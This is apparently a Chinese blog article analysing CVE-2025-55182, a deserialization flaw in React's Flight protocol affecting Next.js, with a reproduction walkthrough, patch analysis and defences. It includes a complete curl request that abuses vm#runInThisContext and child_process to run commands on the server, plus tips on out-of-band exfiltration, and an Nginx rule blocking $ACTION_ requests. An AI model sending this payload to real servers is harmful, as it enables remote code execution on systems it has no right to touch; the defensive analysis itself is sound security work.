当前位置: 首页 > article >正文

CVE-2025-55182:React Flight协议反序列化漏洞深度剖析与实战复现

1. 漏洞背景与影响范围最近React社区爆出一个高危漏洞CVE-2025-55182这个漏洞的核心问题出在React Flight协议的序列化/反序列化机制上。简单来说攻击者可以通过构造特殊的HTTP请求在服务端执行任意代码。我在测试环境中复现这个漏洞时发现它比想象中更容易被利用而且影响范围相当广。目前确认受影响的版本包括React 19.0.1及以上版本Next.js从15.0.5到16.0.7的多个版本这个漏洞之所以危险是因为React Flight协议原本是为了提高应用性能而设计的。它允许客户端和服务端之间高效地传输数据但正是这种高效的数据传输机制在反序列化过程中没有做好安全检查导致攻击者可以注入恶意代码。2. React Flight协议工作原理2.1 序列化与反序列化机制React Flight协议的核心思想是将JavaScript对象序列化为二进制数据然后在服务端重新还原。这个过程有点像我们平时打包快递发送方把物品数据打包成包裹序列化接收方拆开包裹反序列化拿到原始物品。在实际应用中Flight协议通常用于以下场景服务端组件(Server Components)的数据传输服务端动作(Server Actions)的参数传递跨服务边界的函数调用2.2 漏洞成因分析问题的关键在于Flight协议对特殊对象的处理。在正常的序列化过程中像函数、Promise这样的特殊对象应该被过滤掉但漏洞版本中这个检查不够严格。攻击者可以构造一个包含恶意代码的特殊对象当这个对象被反序列化时代码就会被执行。我通过调试发现问题出在preloadModule和requireModule这两个关键函数上。它们没有对传入的metadata对象做充分的验证导致攻击者可以注入任意模块路径。3. 漏洞复现实战3.1 环境搭建首先需要准备一个受影响的React环境。我推荐使用Docker快速搭建docker run -it --rm -p 3000:3000 node:18-alpine sh apk add git git clone https://github.com/vercel/next.js.git cd next.js git checkout v15.1.9 yarn install yarn dev这个环境运行的是Next.js 15.1.9版本正好在受影响范围内。启动后访问http://localhost:3000就能看到默认页面。3.2 构造恶意请求漏洞利用的关键是构造特定的POST请求。下面是我测试时使用的curl命令curl -X POST http://localhost:3000/formaction \ -H Content-Type: multipart/form-data; boundary----Boundary \ --data-binary - EOF ------Boundary Content-Disposition: form-data; name$ACTION_REF_0 ------Boundary Content-Disposition: form-data; name$ACTION_0:0 {id:vm#runInThisContext,bound:[global.process.mainModule.require(\child_process\).execSync(\whoami\).toString()]} ------Boundary-- EOF这个请求会尝试执行whoami命令。如果漏洞存在服务端会返回当前用户的用户名。3.3 漏洞验证技巧在实际测试中我发现几个有用的技巧先用无害命令如whoami或id测试确认漏洞存在命令输出可能不会直接返回需要通过DNS外带等方式获取某些环境下需要调整payload的编码方式4. 漏洞修复方案4.1 官方补丁分析React团队已经发布了修复方案核心改动是在requireModule函数中增加了属性检查if (hasOwnProperty.call(moduleExports, metadata[NAME])) { return moduleExports[metadata[NAME]]; } return (undefined: any);这个改动确保只有模块真正拥有的属性才能被访问防止了通过原型链注入恶意代码的可能性。4.2 临时缓解措施如果暂时无法升级可以考虑以下方案在反向代理层过滤包含$ACTION_的请求禁用服务端不必要的Server Actions功能对输入数据进行严格的类型检查我在生产环境中测试过第一种方案使用Nginx可以这样配置location / { if ($request_method POST) { set $block 0; if ($http_content_type ~* multipart/form-data) { set $block 1; } if ($args ~* \$ACTION_) { set $block 1; } if ($block 1) { return 403; } } }5. 深入技术细节5.1 漏洞利用链分析这个漏洞的利用链相当有意思。攻击者首先构造一个特殊的Flight协议消息其中包含对vm模块的引用。当这个消息被反序列化时会调用vm.runInThisContext方法这个方法可以执行任意JavaScript代码。关键在于React Flight协议允许传递函数引用而服务端在还原这些引用时没有做足够的验证。这就好比快递站接收包裹时不检查内容导致危险物品被送进来。5.2 与其他反序列化漏洞的对比相比于传统的Java或PHP反序列化漏洞这个漏洞有几个特点不需要复杂的gadget链直接利用内置模块利用门槛低只需要构造HTTP请求影响范围集中在React/Next.js生态我在测试中发现这个漏洞的利用方式与Node.js的vm模块沙箱逃逸漏洞有些相似都是通过特定API执行任意代码。6. 防御措施进阶6.1 深度防御策略除了升级修复版本外我建议采取多层防御网络层使用WAF过滤可疑请求应用层限制Server Actions的使用范围运行时使用Node.js的--disable-proto选项监控记录所有包含$ACTION_的请求6.2 安全编码实践从开发角度可以采取以下预防措施避免直接反序列化不可信数据使用JSON Schema验证输入数据限制服务端可访问的模块范围定期进行安全审计我在团队内部推行的一个有效做法是建立安全代码模板所有涉及反序列化的操作都必须使用经过安全封装的方法。

相关文章:

CVE-2025-55182:React Flight协议反序列化漏洞深度剖析与实战复现

1. 漏洞背景与影响范围 最近React社区爆出一个高危漏洞CVE-2025-55182,这个漏洞的核心问题出在React Flight协议的序列化/反序列化机制上。简单来说,攻击者可以通过构造特殊的HTTP请求,在服务端执行任意代码。我在测试环境中复现这个漏洞时发…...

深度解析ThreeFingerDragOnWindows:Windows触控板三指拖动技术实现

深度解析ThreeFingerDragOnWindows:Windows触控板三指拖动技术实现 【免费下载链接】ThreeFingersDragOnWindows Enables macOS-style three-finger dragging functionality on Windows Precision touchpads. 项目地址: https://gitcode.com/gh_mirrors/th/ThreeF…...

3步学会BilibiliDown:零基础掌握B站视频下载的终极指南

3步学会BilibiliDown:零基础掌握B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/…...

EfficientViT语义分割深度解析:从Cityscapes到实时应用

EfficientViT语义分割深度解析:从Cityscapes到实时应用 【免费下载链接】efficientvit EfficientViT is a new family of vision models for efficient high-resolution vision. 项目地址: https://gitcode.com/gh_mirrors/ef/efficientvit EfficientViT语义…...

3种方案实现小米智能家居与Home Assistant无缝集成

3种方案实现小米智能家居与Home Assistant无缝集成 【免费下载链接】ha_xiaomi_home Xiaomi Home Integration for Home Assistant 项目地址: https://gitcode.com/GitHub_Trending/ha/ha_xiaomi_home 你是否遇到过智能家居设备品牌碎片化的困扰?是否希望用统…...

StabilityGuide故障排查终极指南:从OutOfMemoryError到StackOverFlowError的完整解决方案

StabilityGuide故障排查终极指南:从OutOfMemoryError到StackOverFlowError的完整解决方案 【免费下载链接】StabilityGuide 项目地址: https://gitcode.com/gh_mirrors/st/StabilityGuide StabilityGuide是阿里巴巴开源的系统稳定性知识库,专注于…...

AndroidTVLauncher自定义功能卡片开发:FunctionCardPresenter实现原理与实践

AndroidTVLauncher自定义功能卡片开发:FunctionCardPresenter实现原理与实践 【免费下载链接】AndroidTVLauncher This is a leanback style tv launcher(minSdkVersion 17) 项目地址: https://gitcode.com/gh_mirrors/an/AndroidTVLauncher AndroidTVLaunch…...

VIBE革命性视频人体姿态估计:CVPR2020获奖论文完整实现解析

VIBE革命性视频人体姿态估计:CVPR2020获奖论文完整实现解析 【免费下载链接】VIBE Official implementation of CVPR2020 paper "VIBE: Video Inference for Human Body Pose and Shape Estimation" 项目地址: https://gitcode.com/gh_mirrors/vi/VIBE …...

如何通过Windows Cleaner实现C盘空间释放:提升系统性能的完整指南

如何通过Windows Cleaner实现C盘空间释放:提升系统性能的完整指南 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否经常遇到C盘爆红的困扰&#…...

Whisper-large-v3企业实操:金融电话录音合规审查自动化流水线

Whisper-large-v3企业实操:金融电话录音合规审查自动化流水线 作者:by113小贝 | 10年AI语音技术实战经验 1. 项目背景与价值 金融行业的电话录音合规审查一直是个让人头疼的问题。传统的人工审查方式效率低下,一个审查员每天最多处理几十通录…...

点云处理实战:如何用RMLS算法保留锐利边缘(附Python代码示例)

点云处理实战:RMLS算法在锐利边缘保留中的工程实践 当你在处理3D扫描数据时,是否经常遇到这样的困扰——经过滤波处理后,原本清晰的物体边缘变得模糊不清?这正是传统移动最小二乘(MLS)算法的痛点所在。作为计算机视觉工程师&#…...

AIGlasses_for_navigation精彩案例分享:真实视障用户过马路辅助语音引导记录

AIGlasses_for_navigation精彩案例分享:真实视障用户过马路辅助语音引导记录 1. 引言:当AI成为视障者的“眼睛” 想象一下,你站在一个繁忙的路口,耳边是呼啸而过的车流声,眼前却是一片模糊或黑暗。过马路&#xff0c…...

PyTorch Autograd动态计算图实战:从构建、可视化到高效调试

1. 动态计算图的构建原理 PyTorch的Autograd系统最迷人的特性就是它的动态计算图。我第一次接触这个概念时,感觉就像发现了一个魔法黑箱——它能在代码运行时自动记录所有操作,并在需要时反向计算梯度。这种动态特性让PyTorch在调试复杂模型时特别顺手&a…...

别再自己造轮子了!STM32F103 RTC时间戳转换,用标准库<time.h>更香(附完整代码)

STM32F103 RTC时间处理&#xff1a;为什么标准库<time.h>是你的最佳选择 第一次在STM32上实现RTC功能时&#xff0c;我花了整整三天时间调试自己写的时间戳转换算法。直到某个深夜&#xff0c;我才发现原来C标准库早已提供了完美解决方案——那一刻既兴奋又懊恼。如果你也…...

别再乱配了!华为防火墙+S5700三层交换机组网,这5个坑我帮你踩过了

华为防火墙与S5700三层交换机组网避坑指南&#xff1a;5个致命错误与解决方案 刚接手华为防火墙与S5700三层交换机的组网项目时&#xff0c;我以为按标准模板配置就能万事大吉。直到凌晨三点还在机房排查网络不通的故障&#xff0c;才明白教科书式的配置在实际环境中远远不够。…...

CanCanCan控制器助手终极指南:load_and_authorize_resource深度解析与最佳实践

CanCanCan控制器助手终极指南&#xff1a;load_and_authorize_resource深度解析与最佳实践 【免费下载链接】cancancan The authorization Gem for Ruby on Rails. 项目地址: https://gitcode.com/gh_mirrors/ca/cancancan CanCanCan是Ruby on Rails最强大的授权gem&…...

WaveTools鸣潮工具箱实战指南:从画质优化到抽卡策略的新视角

WaveTools鸣潮工具箱实战指南&#xff1a;从画质优化到抽卡策略的新视角 【免费下载链接】WaveTools &#x1f9f0;鸣潮工具箱 项目地址: https://gitcode.com/gh_mirrors/wa/WaveTools 当我在宿舍用老旧笔记本玩《鸣潮》时&#xff0c;画面卡顿得连技能都放不连贯&…...

基于Python的线上学习资源智能推荐系统毕设

博主介绍&#xff1a;✌ 专注于Java,python,✌关注✌私信我✌具体的问题&#xff0c;我会尽力帮助你。一、研究目的本研究旨在构建一个基于Python的线上学习资源智能推荐系统&#xff0c;以实现个性化学习资源的精准推送。具体而言&#xff0c;研究目的可概括为以下几个方面&am…...

终极指南:Ledger会计系统数据备份与灾难恢复策略

终极指南&#xff1a;Ledger会计系统数据备份与灾难恢复策略 【免费下载链接】ledger Double-entry accounting system with a command-line reporting interface 项目地址: https://gitcode.com/gh_mirrors/le/ledger Ledger作为一款强大的复式记账系统&#xff0c;其核…...

CDN 报错 403/502/504 怎么解决?源站与防护策略排查

网站接入CDN后&#xff0c;原本访问流畅&#xff0c;突然出现403、502、504报错&#xff0c;用户反馈无法访问&#xff0c;自己排查半天找不到头绪——其实这类报错大多和「源站状态」「防护策略」「CDN配置」三个环节相关&#xff0c;今天就结合实操经验&#xff0c;把这三种常…...

如何用本地AI工具10倍提升视频字幕提取效率:video-subtitle-extractor完全指南

如何用本地AI工具10倍提升视频字幕提取效率&#xff1a;video-subtitle-extractor完全指南 【免费下载链接】video-subtitle-extractor 视频硬字幕提取&#xff0c;生成srt文件。无需申请第三方API&#xff0c;本地实现文本识别。基于深度学习的视频字幕提取框架&#xff0c;包…...

万字详解:现象级OpenClaw(俗称“龙虾”)能做什么-周红伟

OpenClaw是一款开源的AI智能体框架&#xff0c;它不是“聊天机器人”&#xff0c;而是“AI执行引擎”——连接大模型的思考能力与电脑的真实操作权限&#xff0c;让AI从“只说不做”变成“说到做到”&#xff0c;可自动完成文件管理、跨应用协同、浏览器操作、代码生成等复杂任…...

嵌入式设备参数存储方案设计与优化

嵌入式设备参数存储方案设计与实现1. 项目概述在嵌入式系统开发中&#xff0c;参数存储是一个基础但至关重要的功能模块。合理的参数存储方案直接影响产品的可靠性、可维护性和升级扩展能力。本文将深入分析嵌入式设备中常见的参数存储方案&#xff0c;重点解决结构体存储方式存…...

终极Vorpal错误恢复指南:7个关键策略构建健壮CLI应用

终极Vorpal错误恢复指南&#xff1a;7个关键策略构建健壮CLI应用 【免费下载链接】vorpal Nodes framework for interactive CLIs 项目地址: https://gitcode.com/gh_mirrors/vo/vorpal Vorpal是Node.js生态系统中构建交互式命令行应用的首选框架&#xff0c;提供了强大…...

Scrapy-Redis队列实现原理深度解析:优先级队列、列表与集合操作的终极指南

Scrapy-Redis队列实现原理深度解析&#xff1a;优先级队列、列表与集合操作的终极指南 【免费下载链接】scrapy-redis Redis-based components for Scrapy. 项目地址: https://gitcode.com/gh_mirrors/sc/scrapy-redis Scrapy-Redis 是一个基于 Redis 的 Scrapy 组件库&…...

如何创建自定义编程连字符号:Hasklig字体开发终极指南

如何创建自定义编程连字符号&#xff1a;Hasklig字体开发终极指南 【免费下载链接】Hasklig Hasklig - a code font with monospaced ligatures 项目地址: https://gitcode.com/gh_mirrors/ha/Hasklig Hasklig是一款专为程序员设计的等宽字体&#xff0c;它通过创新的连…...

UE5模型加载避坑指南:为什么你的Runtime OBJ导入总是丢失材质?

UE5运行时OBJ材质丢失终极解决方案&#xff1a;从原理到工具函数全解析 当你在UE5中动态加载OBJ模型时&#xff0c;是否遇到过这样的场景&#xff1a;模型虽然成功加载&#xff0c;但所有材质都变成了难看的粉色默认材质&#xff1f;这可能是技术美术和程序化生成领域最常见的痛…...

FastAPI异步测试终极指南:如何快速模拟HTTP请求进行高效测试

FastAPI异步测试终极指南&#xff1a;如何快速模拟HTTP请求进行高效测试 【免费下载链接】fastapi FastAPI framework, high performance, easy to learn, fast to code, ready for production 项目地址: https://gitcode.com/GitHub_Trending/fa/fastapi FastAPI异步测…...

从ChatGPT插件到MCP:一个AI开发者亲历的工具集成进化史

从ChatGPT插件到MCP&#xff1a;一个AI开发者亲历的工具集成进化史 三年前&#xff0c;当我第一次尝试让ChatGPT调用外部API时&#xff0c;需要手动拼接JSON参数、处理OAuth认证、设计错误重试机制——光是让模型能查询天气就耗费了两天时间。如今&#xff0c;通过MCP协议&…...

PowerBI进阶技巧:利用SWITCH函数实现动态自定义排序

1. 为什么需要自定义排序&#xff1f; 在PowerBI报表设计中&#xff0c;数据排序是最基础却最容易被忽视的功能。系统默认提供的升序和降序排列&#xff0c;就像餐厅里只有"辣"和"不辣"两种选项&#xff0c;而实际业务场景往往需要"微辣""中…...